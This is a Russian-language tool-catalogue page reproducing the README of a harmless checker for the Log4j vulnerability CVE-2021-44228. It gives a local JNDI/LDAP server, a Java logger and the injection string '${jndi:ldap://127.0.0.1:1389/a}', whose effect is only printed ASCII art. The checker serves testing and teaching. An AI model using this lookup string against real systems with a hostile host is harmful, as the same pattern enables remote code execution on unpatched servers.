Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-44228 — Проверщик уязвимости CVE-2021-44228 | Kitploit
Инструменты/GitHubGitHub/greymd/cve-2021-44228
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubgreymd/cve-2021-44228

CVE-2021-44228

Проверщик уязвимости CVE-2021-44228

Репозиторий
3544 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-44228 checker

Это репозиторий для проверки уязвимости CVE-2021-44228.

Это PoC, который только отображает строки без загрузки внешних классов. Он не может быть использован для произвольного выполнения кода.

Как это работает?

Шаг 1: Запустите серверное приложение

Образ ghcr.io/greymd/cve-2021-44228/server доступен и может быть запущен с помощью Docker.

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

Шаг 2: Подключитесь к конечной точке с помощью log4j

Подготовьте код для вывода логов с использованием log4j и запустите его на том же хосте. Строка вывода должна быть ${jndi:ldap://127.0.0.1:1389/a}.

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

Если аргумент вызывает уязвимость, будет успешно выведена фраза «うんこもりもり» (что означает «много дерьма»).

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Если вам лень писать и собирать код, вы можете использовать простое приложение-логгер из этого репозитория. Первый аргумент будет выведен логгером.

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

Пример передачи аргумента, вызывающего уязвимость, выглядит следующим образом.

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

Если у вас версия log4j, НЕ подверженная уязвимости, или серверное приложение не запущено, строка будет выведена без изменений. Вы можете проверить это, обновив версию приложения-логгера, как показано ниже.

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Запуск серверного приложения без Docker

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

Мотивация

Как я упоминал (и насколько я исследовал), эта уязвимость не воспроизводится без запущенного сервера назначения JNDI. Поэтому простой PoC полезен.

Ссылки

Следующие URL-адреса использовались для справки при реализации.

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

Протестированные версии

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
Скачать инструмент